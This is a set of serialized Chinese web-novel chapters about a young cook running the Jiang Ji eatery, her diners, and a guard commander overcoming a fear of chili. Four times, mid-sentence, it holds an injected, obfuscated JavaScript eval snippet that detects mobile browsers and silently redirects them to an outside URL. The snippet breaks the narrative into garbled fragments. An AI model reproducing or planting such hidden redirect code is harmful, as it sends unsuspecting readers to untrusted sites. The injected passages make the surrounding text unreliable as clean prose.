这其他滋味，应该源于蒜片，幸辣的蒜香带有果木的熏香，又含鲜与香料的多味，将幸辣之意削弱，因而吃起来香而不辣，又为素菜增添了一抹趣味，有如画龙点睛，少之可惜。 几块下肚，辣衣在舌尖越演越烈，一口炖菘菜如久旱逢甘霖，浇灭舌尖团团升起的辣火。 走来时的寒意早已被热辣而产生的暖意驱散，此刻只想沉沦于美味。 一碗米饭早在不知不觉间见底，花易仟抬手。 江弥杉结了一桌账，又赶过去。 花易仟：“再添一碗饭。” 江弥杉端着碗底，介绍：“今日还有糖浆米团，里间夹了红豆沙，饭后做小食，正好适宜，老伯可想尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009210|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝。” 花易仟笑点两下头。 糖浆米团，听起来到也是热乎乎的。 又吃完一碗饭，餐碗中已经只剩底层油纸，江弥杉刚端上糖浆米团，就听外面传来一声慌忙地叫唤：“爹！您怎么跑这来了！” 话音刚落，走进一位高挑壮硕的青年男子，他着急地走上前，眼底又是担心，又是责备。 江弥杉自觉退至一旁，听那人道：“好容易回来，天寒气冷的，你还跑出来吃饭！” 花易仟拿起勺，轻轻从雪白的米团上刮下，四周环着一圈红褐色的粘稠糖浆，米团中缓缓流出沙绵绵的红豆。 ：“哎呀，我这不是好好的吗？” 花逸只得干着急，江弥杉又去倒被茶递上，：“公子喝口热茶暖暖身。” 花易仟：“劳烦姑娘，再取把勺来。” 又转头与儿子道：“莫傻站着，吃完这一份甜点，再回去。” 花逸喘口粗气，坐下，：“您也真是的，非得挑今天出来吃，可吃出什么名堂了没有？” 花易仟喜色挑眉，：“那是自然，这家食肆，怕是我这些年来，吃过最合心意的一家了。” 花逸哼哼两声：“江记食肆，您真会找。” 花仟易含入糕，外皮软糯，豆沙香甜，糖浆酸酸甜甜，是红糖的天与山楂的酸，暖乎乎的。 花易仟：“哦？看来逸儿先我一步嘛。” 花逸：“衙门的公务做完，来吃过几回。”实则是大多时候都来江记食肆吃饭。 江弥杉拿来勺，：“公子请慢用。” 两人分吃一口，花逸的心思却不在吃食上，他斟酌着开口：“爹，既然你如此满意，可否，就莫要在远游了？” 花易仟轻笑两声，：“如此我就多在京中多留几日吧。” 花逸：“……”这不是打马虎眼嘛！ 花易仟：“你娘都不担心，你担心这些做什么？” 花逸一听，更加气闷：“娘怎么不担心，您出门在外，若是许久不见书信，娘就昼夜难安，食之无味，您看不到这些，你当然以为娘不担心！！” ：“可我看得到！！” 花易仟一愣，眉眼间笑意衰退，眉头微微蹙起。 花逸：“您今日出来，您觉着是谁叮嘱我出来寻您的！” 江弥杉就在不远处，听得交谈，心被触动，又望向对面。 花易仟沉默良久，花逸又道：“我不管您听不听得进去，反正，我娘有我。” ：“脚生在自个身上，若是那一日，你真有什么事，也勿忘写信跟我娘报个平安。” 花逸捏着勺，却没多吃一口，说完话，就起身离开。 江弥杉观察着，见花易仟还未做反应，不由蹙起眉。 古代般逍遥美食家？ 一人逍遥，全家挂心，还无动于衷，任性妄为，以为家人包容，因此更加没有顾忌。 这算什么美食家啊？ 当下竟还不来结账回家！！ 江弥杉无奈叹气，再怎么说，和妻子一起来也好啊，两个人一起享受美味，然后手牵手回家。 如果是她，若是有如此的丈夫，必定要合离，自己去享受生活。 谁等你！ 14. 金雪饺 天冷过几日，又放晴，热意更比前几日更浓，所售的热乎汤饮又更换为冰凉清爽的果饮。 鲜藕上市，江记随之推出新菜——藕盒、糖浆糯米藕、珍珠藕圆、藕粉羹、银耳莲子羹、莲子酥…… 由菜品、至茶水点心，都有藕的身影。 对此，江弥杉如此道：“尝得便是应季的鲜意。” 这日夜，江记已打烊，李定卓仍面色平静地走入店，一眼望去，江弥杉捏着签子，小口咬下其上红润润的西瓜，面前，还有一碟瓜，瓜上插着一根不知为谁准备的签子。 盖着发上的帽子取了，一条长辫子垂在身背后，额前、耳畔略有几分杂乱的发垂散，清闲自然。 听见脚步声，江弥杉抬眸望去，捏着签子起身：“大人请坐。” 李定卓坐下，瞧眼瓜，又瞧吃瓜的人。 江弥杉：“大人不若先吃点甜的垫垫胃，我吃完这块瓜就去做吃食。” 李定卓听得两声大人，到不自在，蹙眉道：“我未穿锦衣卫袍服，无需称大人。” 江弥杉改口极快：“公子稍待片刻。”含着瓜转身就进厨房。 比起陪李定卓坐着，她更宁愿待在厨房，舍瓜而逃。 午间就有人转告今夜指挥使会来，因而江弥杉特意留了藕丁虾仁饺、再做个厚蛋烧，用高汤补热汤，凑齐两菜一汤。 毕竟，今夜李定卓要试辣，也不知道究竟会发生什么…… 只求他能醒着吃饱饭，安全回到镇抚司。 江弥杉一口咬下所有的瓜，咔呲咔呲嚼，拿下存放的一盘细如柳叶的白胖饺子，热锅烧油。 她手在过上感触温度，估摸着温度适宜，她将饺子逐一放入锅内煎制。 她背对着，未留意厨房门边，原本应该在吃瓜的人，这会儿正站着，静默注视着她背后的麻花辫。 滋滋声响了一会儿，柳叶胖饺的底渐渐爬上淡色的金黄，江弥杉搅弄匀以淀粉调配的芡汁，沿着锅，缓缓倒入，响声更大，她拿起一旁的木盖，严严实实底挡住即将上升的水蒸气。 接着，又打了两个鸡蛋，搅打均匀，撒入稍许糖，另起一小锅，做厚蛋烧。 一层蛋液平流与锅面，咕嘟咕嘟冒起热泡，江弥杉由中搅打片刻，用筷子捏起蛋皮，叠成长条，反复几次过后，金黄的蛋皮堆叠成长块。 江弥杉用筷子压了压，蓬软的蛋身嫩嫩回弹，她盛起蛋块，放至案板上切去不规整的两端，其余切断，成薄厚均等的小块，放进白瓷盘。 彼时，煎饺的锅散出缕缕香意，江弥杉走去打开盖子。 水汽的蒸腾下，淡黄的饺皮水润润地软软贴着内里的肉馅儿，隐隐约约地可见红白相间的虾仁、青绿的菜粒与淡色的藕丁。 锅底布着一层金色花底，花底连姐饺皮，似乎只需轻轻一戳，就会裂开，色相上就已十分诱人。 撒上黑芝麻，江弥杉迅速调好蘸料，一碟用酱油、醋、花椒、姜蒜与葱花调制的咸味蘸水，另配一碟飘着白芝麻的辣油。 另一碟是江弥杉想了许久的番茄酱。 番茄上市后，江弥杉便买了许多，一部分熬成酸甜清新的番茄酱，将来做炸物、饼等菜品是都能用上。 尤其是到冬季，这抹酸甜的意味，更是难求。 摆齐菜，江弥杉转过身，正正对上门口人还来不及收走的不那么冷寒的目光。 对方明显更坦然，并未就此挪开目光，而是看她走过，才抬步去餐桌。 坐下，李定卓目光落在那碟红彤彤的酱料之上，一向平静的面容难得露出诧异的神色。 即便微弱，江弥杉还是迅速捕捉到了，她笑着解释：“这一碟里装着的酱并非辣酱，而是用红茄团熬制的酱，口味酸甜清新，果味浓厚，别有一翻风味。” 李定卓缓了口气，低低嗯了一声。 他拿过筷子，沿着金边戳下，咔呲咔呲的脆响声中，夹起一个翻过。 底部酥脆，但其上的饺子又如蒸的那般皮投润软，为蘸任何酱料，送入口中。 看上去偏薄的饺皮，入口却是厚实，口感劲道不稀，才刚刚咬破一个小口，馅里的鲜香汁水似铆足劲，只等破口的一刻，迫不及待地涌出。 鲜香中，猪肉的醇香、海鲜的鲜甜、菜蔬的清甜和谐地融汇于一体，清爽且美味，一刹那，像是将人带至风轻日暖的春日，在舌尖绽出最怡人的清新。 当触及软香弹嫩的馅料，轻轻咬开鲜意满满的肉馅时，肉馅似乎都在齿间弹了几下肉香随热汁而来，小粒的莴苣清脆，虾仁鲜甜，叫人难以抗拒。 李定卓细细品尝完，又满意地咬下另一口。 待他吃完一个，江弥杉才道：“此饺名为金雪饺，今日刚推出，公子觉着如何？” 如果觉着好吃，就放弃蘸辣油吧！ 李定卓似还在回味，轻点两下头，又望向江弥杉：“加辣油吧。” 江弥杉：“……” 江弥杉牵唇笑：“还是循序渐进，先从闻味开始吧。” 李定卓眯起风眼，露出几分试探：“你就这么怕我出什么事？” 江弥杉：“是为大人的身体着想。” 李定卓眼底浮上一抹似有似无的笑意，转变心意：“那便先闻。” 说罢，他伸出骨骼分明，纸骨修长尖细的手端起小碟，手上经络凸起，手上紫筋在滑白的肌肤衬托下更加清晰明目。 江弥杉不由多看了几眼。 他端着小碟送入鼻下，先时憋着气，片刻后才放松下来，在辣味涌进鼻息时，只觉一阵胃涌，就要将他掀翻在地。 人未倒，江弥杉已经快步到他身后，抢过碟，以防他磕到脑袋。 江弥杉道：“还是不要勉强了吧……” 感觉，这已经不是单纯的不能吃辣的问题了，而是心理上出现的病症，但她只是个厨子，也不会心理医生的疗法啊。 李定卓摇头，他不信，他迈不出去这道坎。 周王已经削爵入狱，安阳属地内，其手下大小官员，都尽数革职查办，流放凌迟，每一个曾经参与的人，都有了恶果。 父母仇已报，为什么，他还是如此受困。 看他坐稳了，江弥杉又走至前处，斟酌片刻，试探着问：“公子此症，是自幼便有吗？” 李定卓无言良久，：“你先坐下。” 江弥杉更觉此事不简单，坐至对面，等待李定卓开口。 ：“不是自幼，是……一件事端引起的。” 事情如她所料，万宜是毒，那李定卓就是应急反应，应该是受过某种极端的刺激后，正好有辣味，于是在心里留下了不可磨灭的创伤。 导致于之后无法食辣、闻辣，否则身体就会应激反应。 江弥杉蹙眉：“大人想迈过这道坎？” 心事被看破，李定卓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009211|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是保持着冷静，眸子扫过去，问：“你为何不问我是何事端？” 江弥杉眉头松开，微笑道：“我并不窥探他人隐私的爱好，也无撕开人伤疤的的兴趣。” 李定卓低低一声笑，心池泛起微，反问：“我若想迈过去，该如何呢？” 执业心理医生第一回，江弥杉思索片刻后，问：“大人闻到或尝到辣味时，最厉害的反应是何？” 李定卓：“从前会晕倒，当下只是呕吐、心慌。” ：“大人对辣椒，可有温馨一些的记忆？” ：“……有，我娘做得解辣汤，但无用。” ：“……” 解辣汤，江弥杉想了几种搭配，：“是那几味食材制作的？” ：“鸡蛋、土豆、菘菜。” ：“大人若是不介意的话，我可一试。” 李定卓若有所思地，淡淡道：“我娘还唱歌谣。” 江弥杉挑起眉：“……” 执业心理医生第一回，惨遭滑铁卢。 沉默之中，两道目光凝聚一点之间，交缠住蹿过的凉风。 李定卓先挪开视线，若无其事看一眼鸡蛋，又去夹饺子。 江弥杉眼眸左右滑了滑，在帮与不帮之中纠结。 不帮是情理之中，但碍于前几晚说过得话，当下还吃不得辣呢，江弥杉选择了前者。 没办法，话都说出去了，帮人帮到底吧。 江弥杉深吸一口气，做足心理准备：“大人可还记得调子……” 李定卓咬下饺子咔嚓一声，抬眸望向对面。 片刻后，江弥杉清清嗓子，手抓着衣摆，站起身，走至李定卓身后，垂眸道：“先试一次。” 李定卓磨蹭起指腹，蹭的指腹发热，嗯了一声，去端辣碟。 轻似柔云，温若春日，与母亲的完全不同，别样的歌调，却似轻风一般拂过，带着几分温煦抚过耳廓，又似羽毛一般，轻轻滑痒耳朵。 李定卓听得心咚咚作响，心池更是前所未有地荡漾出波纹，已是他无法忽视的，他端碟凑近。 那抹风似乎将辣意吹淡，将适才翻腾的海浪抚平…… 江弥杉凑近悄悄观察着，一则是为了及时抢走碗碟，二则是为了保证李定卓的身体安全。 成效似乎不错，李定卓的颜色并不难耐，有一瞬间，江弥杉觉着李定卓在唬骗她。 看来，是心里医生执业滑铁卢之后又有路可爬了…… 正当李定卓打算一品辣油时，江弥杉哼着歌，果断出手。 李定卓转过身遇上一面笑脸。 ：“还有饺子呢。” ：“……” 江弥杉：“大人，循序渐进，循序渐进。” 李定卓伸手：“还我吧。” 江弥杉轻轻放至其大掌上，双手相触的刻，李定卓只觉烫。 吃完饺子与鸡蛋，油辣碟都未动一下，只是闻起来不再那么刺鼻。 又试了一两回，排除是特殊情况的可能，江弥杉默默接受了这个事实。 江弥杉：“嗯，待我得空煮解辣汤，大人在试味吧。” 李定卓点头，目中有了几分波动，望着江弥杉，：“有劳江姑娘。” 江弥杉笑起：“如此，加收些钱，不过分吧？” 既做厨子，又做大夫，不加收点辛苦费怎么能行！ 李定卓：“……不。” 15. 豆花鱼片 解辣汤，听着简单，鸡蛋、菘菜、土豆煮一煮就能成。 但记忆通常会忽略些关键，有如是清汤不鲜，土豆不硬，菘菜很耙，鸡蛋是蛋花…… 反复试了几回，江弥杉才总算做出了李定卓记忆里的解辣汤。 方万宜与兰香看着一回家就做汤的江弥杉不免觉着奇怪，连续几日都有的蔬菜汤，已经甚是美味，为何还反复做？ 食肆也未售卖，因为第二日晚上换了汤，白日里售的汤食是排骨莲藕汤。 何至于此？ 江弥杉对此并不知情，入夜方万宜与兰香回家，她才切菜熬汤。 顺带着取个小砂锅，打入奶白高汤，在灶上煨着，汤鼓出大泡涨开，她接着先后倒入土豆块、卷心菜、豆芽、腐竹煨煮。 凉风卷过，晃起食肆廊下的灯笼，李定卓走入食肆，并未坐下，而是站至厨房口，目中思绪飘浮，又在眨眼睛归于平静，他抬步进去。 听闻脚步声，江弥杉转过头，见李定卓走近，道：“汤已经在煮了。” 李定卓靠近炉灶，目光扫过碗里装着的嫩豆花、雪白莹莹的鱼片，落至正飘散鲜香的热汤上。 他转眼望向剁姜蒜沫的江弥杉，：“这是？” 江弥杉：“豆花鱼片，今日新上的菜品，又清汤和麻辣两种口味，可配着着蘸料吃，亦可净吃。” 说完，江弥杉忽想起还未上热饮，将剁细的沫盛与刀面上，放入小瓷碗内，舀水净手：“夜里气寒，吃碗桂圆莲子银耳暖暖身。” 说着，她打开一旁蒸笼，其中只有一个小瓷盅，她拿过墙上挂着的竹套，套进瓷盅口，放在身上案台上的托盘里。 江弥杉转身，漾起笑：“餐食再片刻就好了，先去外间吃汤饮吧。” 嫣然一笑，暖黄的烛光下，照着她那本就焕彩的眉目愈发熠熠生辉，波光滟滟，似投至河面的炫彩烟花，绚丽多姿。 分明她时而带着笑意，但这一刹那的光彩，撞进了脑海。 李定卓眼帘一颤，喉结滚动，咽喉温润，：“嗯。” 江弥杉垂眸，捏上发热的耳垂，身后咕噜声响，她转身去下鱼。 端着托盘走出，李定卓坐至第一桌，垂暮打开膝盖，香甜的热风随烟飘来，还未入口，便已经让人感觉暖意。 橘色甜汤清澈，雪白的银耳也穿上亮衣，几颗红枸杞、白莲子、黄桂圆点缀其间，寒夜中，似有一股暖流注入心尖。 李定卓拿起瓷勺，盛汤送入口中，甜暖的热团沿舌散漫，甜蜜却不生腻染着柔软的银耳，唇舌间在其的溜滑间，那点寒风入骨的凉意，随温消散。 小半盅汤羹，将最后的寒意驱散，暖身，一路风尘，吃上如此一盅，身暖心也暖。 李定卓唇角浮起一抹笑，刚刚升起的笑，下一刻又落下。 这份暖意，是对食客。 忽飘来缕缕鲜香，李定卓抬眸，正见江弥杉端着餐食走来。 ：“前几日能够闻辣味，今日先试微辣。” 话语间，她端餐食上桌，盘中菜、汤、小菜齐全飘香，中间是碗莹润米饭。 李定卓嗯一声，看她打一勺还在冒热泡的奶白汤汁浇入蘸料碗中，冲开队在最上方的绿葱花，葱花飘飘荡荡，奶白的汤漾起圈圈棕黑。 江弥杉照常先问：“需哼歌谣吗？” 李定卓唇舌间的甜暖未散，黝黑的墨眸轻轻一颤，随后缓缓落汁身侧，：“暂时先停吧。” 这日前，他能够闻辣味了，虽然头晕一刻往后倒，靠在江弥杉身上。 江弥杉明显是被吓着了，反射性地圈住他的肩膀，口中却还哼着歌谣，一手顺着他的胸口安抚，一手即将要掐人中。 他便是在温暖又柔和中清洗，随后下意识掐住身上抚慰的手腕，然，歌谣声未断。 便也是那次后，他试过，能够闻辣味了。 当夜，饭菜的钱两翻了倍。 江弥杉坐至侧边的木椅，目光在鱼片与李定卓身上挪移：“先吃些清淡的垫足胃，有个缓冲。” ：“好。” 话毕，李定卓拿起勺，舀白雪似的豆花送入口。 柔嫩的豆花染浸着鲜美的汤汁，软软在舌尖融化，其中肉骨的香味浓郁，有豆类清爽的香融入，两道香味攀升交织，彼此和谐交融，最后与鲜美相拥，成为舌尖上鲜香的暖雪。 吃过的豆花，都无法比拟，且又与碗碗香中的不同。 李定卓又接着舀起下一勺，江弥杉唇角微扬，即便知晓他不会放弃不蘸拉油，但待他尝够了，在蘸辣油时，心情也能轻快几分。 毕竟，就江记而言，餐食主要目享受食物来的愉悦，而不是为了挑战。 除非，食客偏要挑战…… 吃了几勺豆花，李定卓夹起片雪白的鱼，鱼片滴落颗颗珍珠滴，烛光抖动间，淡淡的橘泽烁烁亮眼。 入口，鲜味冉冉而升，鱼肉软绵绵的，完全没有柴感，鱼肉自身的甘甜在鲜香中回溯，将这份鲜美托到了顶峰，又让人感到无尽的温暖与满足。 寒凉的深夜，鲜暖在身体温热身心，随着热汤，由胃漫至全身，抚慰着被凉意钻透后的萧肃。 又空吃几口，李定卓便浇汤进米饭，放上几颗红萝卜、豆芽，盛入口，一勺，再一勺。 江弥杉越发好奇，这与御厨口中的挑剔至极的指挥使那里对的上。 连御米都挑剔的指挥使，当下却一口接一口地盛吃着这里的米饭。 待李定卓停下去夹菜时，江弥杉不住问：“公子觉着，这饭如何？” 李定卓问声看来，没有犹豫：“不错。” 江弥杉惊诧：“常听说大人对吃食的要求极高，看来也是流言。” 李定卓夹起一块糯糯的土豆，：“是江姑娘烹饪得当，找不出错漏之处。” 这个是必须的，也是必然的。 江弥杉莞尔一笑，接着好奇问：“那御厨……” 未等她说完，李定卓开口岔答：“水平不一，禁不起细挑。” 江弥杉一瞬间联想到坐在评委席上的评审，每一道菜品，看上去是美味无比，在打分环节却能数出一大堆不足之处，最后打一个及格分，俗称鼓励分。 再到最后，连鼓励分都没有了，也没有评价了，全靠选手自行领悟。 江弥杉：“……” 古代版美食评审员，面无表情，入口即是，不好吃。 真的很像呢…… 江弥杉：“可这米并非是御米啊？” 李定卓：“火候、时辰、水量都恰到好处，再加上，姑娘选择的米，并非劣等米。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009212|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江弥杉：“……” 好吧，感谢上辈子的蒸白米饭的积分赛。 江弥杉：“公子谬赞了。” 李定卓嗯了一声，继续吃饭。 待李定卓吃完半碗米饭，他才道：“试吃辣吧。” 江弥杉扣着指，点头，起身站至李定卓身后，：“公子先稍稍蘸一点。” 李定卓转过身，面色冷静：“就如此怕吗？” 江弥杉笑回：“是为大人身体着想。” 李定卓：“你可坐下。” 江弥杉挑眉：“不行。”说完，她眯眼笑起。 李定卓又转回身，夹起鱼片，往蘸料轻轻一点。 ：“够了，就这样。”身后传来一声叫停。 李定卓夹着鱼片，深呼吸几口气，目光盯在尾间的一抹红，缓缓翻过，送入口中。 江弥杉几乎是立刻上前一步，抱住在往后倒的人。 李定卓忍着心里翻腾的感觉，又靠进温软中，他直起身，手里还捏着筷子，声音哑了几分：“我无事。” 江弥杉：“……” 江弥杉走上前，自行打量一眼李定卓泛白脸，又望向那碗解辣汤。 她盛起一勺，托着送至李定卓唇边，道：“先喝口汤吧。” 李定卓眼睛直直望着身边的人，张口吸入汤。 与记忆中的味道已经十分相近，菜蔬的软糊，蛋黄柔嫩，沿喉咙流下，恰如甘霖初降，裂缝满满的心田，心海也就此平静。 李定卓只望着江弥杉。 江弥杉喂完汤，看他无反应，便问：“大人感觉如何？” 李定卓回过神，寻常似地眨两下长睫：“有用。” 江弥杉松了口气，才将放入汤碗中，垂眸凝视眼碗中的蔬菜汤。 现在这碗有用，之前的都无用，解辣汤，不同之处在哪儿呢？ 时间、火候，还是…… 江弥杉又望向正要蘸辣的李定卓，还是实在挑剔，加上心理作用，导致从前都不成功。 江弥杉斟酌过后道：“我写封详细的食单，公子可请人按照方子定做，如此，公子独自一人也能尝试。” ：“切记循序渐进，从微辣试起，若是微辣能承受，再一点点加辣度。” 李定卓抬眸：“一点点，旁人无法掌空，再者，汤，旁人也无法掌握。” 江弥杉不信，反问：“那从前大人都饿着肚子处理公务？” 李定卓：“豆花充饥。” 江弥杉诧异地挑眉，豆花充饥，那得喝四五碗吧…… 一日三餐，三餐都吃豆腐脑，会营养不良的吧，难怪这么瘦，脸色也不好。 她的目光顺移至李定卓的胃部，很难不怀疑，他胃不好。 感受到她的视线，李定卓接道：“的确有轻微的胃痛之症。” 江弥杉抬眼，神色少见的严肃：“胃痛还算轻的，若是公子晕倒昏迷不醒，或是营养不足，身形消瘦，数症齐发。 ：“那时才是真要见阎王了……”她小声道。 李定卓咬下肉，又喝口汤，：“你说什么？” 江弥杉轻咳一声：“锦衣卫兴许便要着急了。” 李定卓抬眼，：“江姑娘在，不会有那一日。” 觉得哪里不太对劲的江弥杉：“……” 16. 香茅烤鸡 天气又在李定卓冷面离开的后几日晴开，从那日后，李定卓夜里都未来过，江弥杉猜想，兴许她把人惹生气了。 细究，原因大概是，李定卓觉着她在咒他。 天地良心，她是提醒，友好的提醒！ 江弥杉并未在多纠结，集中精力专心做吃食。 采买食材时，江弥杉在西域市场竟发现了有商人售卖香茅草，一瞬间想到了四五种菜品。 除去香茅草，江弥杉连带着采买了几种香料、蔬果，让食客们，一尝异国风味。 江记食肆开门，堂内满座，翁桓与好友李曼柯同坐一桌，哼一声，将店内翻眼打量一遍。 翁桓语气漂浮着，：“就这么个小食肆，能做出什么好鸡？” ：“我吃鸡的时候，厨子都还没生，如此能做得成什么好菜？” 李曼柯不欲多说：“待吃过你便明白了。” 方万宜端着四碗俩莲子绿豆百合汤走过，清冷的目光从说话之人掠过，神色不变地为食客送上凉饮，走回时，又看他一眼，心内冷笑。 她的味觉是几日前完全恢复的，为此弥杉特意做了满满一桌佳肴庆贺，她尝到了绝味，那些佳肴甚至远远比她曾经所想象的更加美味。 只靠年龄便去估量一个人，那有长者之风范，还不如花老伯，花老伯年纪甚至比他要年长，但未如此自大…… 方万宜神色淡然地走进厨房，走至正从烤炉里取鸡的江弥杉身边。 双手合起般大的油亮鸡身，泛着诱人的橘棕色泽，几处边缘微微烤成焦棕色，油汁凝结在皮层，形成一璧晶面。 握刀切开，内里水润润的淡红肉块挤出缕缕汁泉。 江弥杉拿起一块青柠，见万宜蹙着眉，一面挤柠檬汁，一面问：“出何事了，” 酸气鼻息间散开，方万宜帮着盛辣椒酱：“今日有位食客，甚是不客气。” 江弥杉轻轻一笑：“总归是吃完就走的人，好生招待就行。” 兰香一听就知道，凑过来，：“是三桌的老叔吧？” 方万宜点头：“嗯，是他。” 兰香：“三桌点的都是鸡，看上去对吃鸡很有见述。” 江弥杉猜测，大致又是某位老饕来探店，大致是瞧不上店小，厨师又年轻，因而便露出些贬低的意思。 同样是老饕，花老伯如今倒是有几分吃错悔改的意思，时而会带一份回家与妻子一齐品尝。 这回兴许是位吃鸡专家，不过，她遇见过许多专家，这并不是什么难题。 江弥杉：“如此，便说明江记在京中小有名气，会有擅吃、懂吃的食客来尝味，好事一件。” 兰香转念一想，的确是这个道理，与方万宜对看一眼。 姑娘都不急，她们急什么！ 兰香端起切放好的烤鸡，到外间上菜，方万宜又去烹饪其他菜色。 外间，三号桌的菜色已上全，醇醇香气，颜彩新鲜，色泽亮眼，辣有辣锅鸡肉、清淡有莲子鸡汤、还有只烤鸡。 李曼柯笑问：“如何？” 翁桓不以为然：“京中酒楼，能做到的大有人在。” 就这辣锅鸡肉，许多酒楼都吃过，味道大同小异，一模一样的花式，保不齐就是小店学着大酒楼办的，有何稀奇。 李曼柯笑而不语，无奈地摇头。 翁恒就先挑了未吃过的烤鸡，夹起一块，未蘸旁边的辣酱，放入碟中盛起，先轻咬一口。 外皮酥香，略有酸味勾起他在多吃一口的激情，多姿的香味中，夹融着一味不名的植被味，浓浓香味，却予人清新之感。 肉细腻嫩滑，即便轻轻一咬，都能吃入一口肉汁香醇，味道绚烂的香鸡。 这鸡，竟如此入味，有味，肉质却如此软嫩…… 实在美味！！ 他又咬一口，动唇慢慢品味，越品越可口。 翁桓满意地垂眸瞧着鸡，轻点头，接这吃完余下的。 李曼柯夹锅里的裹着香辣酱料的的鸡肉吃，香辣味冲袭口鼻，他挑饭入口。 抬眼一看，翁桓口中便没停下，便笑道：“如何，我所言不虚吧？” 翁桓满意，吃完一块鸡，面露几分惭愧，：“是我狭隘了，这烹调，与年岁、食肆大小无关。” 说完，又接着另夹一块，蘸碗碟的红彤彤的酱料。 配上酱料，鸡肉的滋味更丰富了，酱中辣里含甜，辣而不烈，甜而不腻，交相辉映，使他食指大动。 搭上鸡肉上微微的酸与鸡肉的纷香，令人觉不到一丝腻歪，反而勾动起唇齿，欲罢不能。 只是这清草香，究竟源于何种食材？ 翁桓却猜不到。 李曼柯道：“我与你说啊，这辣锅鸡肉，便是江记食肆最先推出的，除了鸡肉，还有鸭爪、河虾、猪肉，那些酒楼是看江记生意好，偷学了去。” ：“可这偷学的，那能有原主做得好，江记这会儿已拓出四种口味，香辣、麻辣、酸辣、蒜香，这那是一时间研究的出来的。” ：“不信你尝尝？” 翁桓一愣，诧异地抬眼：“什么！竟是如此！！” 辣锅炒鸡竟是江记推出的！ 李曼柯扒口饭，：“前几日天凉的还有铁板鸡，铁板炒出的鸡，味道也不一般呢。” ：“可惜啊，那时翁兄不在京城。” 翁桓暗暗瞠目结舌，只觉适才说的话实在是井底之蛙，坐井观天。 自视甚高，却不知已是见识浅薄。 翁桓自知有错，便道：“今日多谢李兄了。” 李曼柯笑两声：“勿用客气，翁兄爱吃鸡，此次回京，也算翁兄接风洗尘了。” 两人你一言，我一语，辣鸡香辣醇厚，莲子鸡清新鲜美，烤鸡香酥多汁，谈笑间，桌上的吃食已净。 翁桓还存着心事，抬手找来柜台后的年轻姑娘。 ：“再下，想请见厨师一面。” 兰香瞅他是适才满口嫌弃之人，也不知晓要见姑娘做什么…… 兰香走进厨房，哼了一声。 方万宜舀着汤，先问：“怎么了？” 江弥杉刚把鸡放入烤炉，就听兰香道：“三桌那位点了一桌鸡的老伯想见姑娘。” 江弥杉观察着火势，焰火燃着柴木亮目，一双美目被照得流光溢彩，觉着不够，江弥杉又放入几跟樱桃木柴。 她盯着火席卷柴木：“见我？” 相见主厨交流心得，还是指出不足，但当下那有那个时间。 江弥杉道：“我忙完再说。” 兰香：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009213|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……好。” 又等一久，因着等人占座，翁桓又点了藕粉羹与核桃糕。 待尝至一半，总算见一位年轻又眉目如画的女子朝这边走来。 李曼柯笑：“就是这位姑娘，江记的掌柜，也是烹调之人。” 翁桓目露惊叹，原以为是位年纪稍长的，却没想到，这位姑娘，尚还是年轻，却有如此精湛的厨艺。 若是不特意说，还以为是食肆店主的女儿。 人走至桌前，先抿出个花般轻柔笑，问：“请问，可是膳食不合味口？” 令舌头发颤的滋味还残留齿间，翁桓起身，笑答：“并非如此，相反，是因为姑娘烹调得当，着实令我等满意。” 江弥杉谦虚垂眸：“叔伯抬爱了。” 翁桓直问：“想问姑娘，这烤鸡所用何料，我虽尝过百味，却对今日烤鸡之中的植草味毫无头绪，故请一见。” 江弥杉笑回：“是一味名叫香茅草的植草，西域市场有售。” 自江食肆开张以来，不知遇到过多少人来打探配料，江弥杉大方，微微露出一些，却不说斤两，叮嘱兰香与万宜一切已适当、适时告知。 大家都是开食肆的，你打听我，我打听你，总得留得底。 她也不是善人，完全交底，最后在冥思苦想的改配方。 这回，江弥杉也是问什么答什么，食材都在市场，缺得是有心人。 ：“香茅草？”翁桓若有所思。 江弥杉：“叔伯还有何疑问？” 翁桓记下了名字，笑道：“并无疑问，只是姑娘小小年纪，便有如此精湛的烹调技艺，再下十分钦佩。” 江弥杉将要接话，又听老伯话锋一转问：“姑娘今年芳龄几何？” 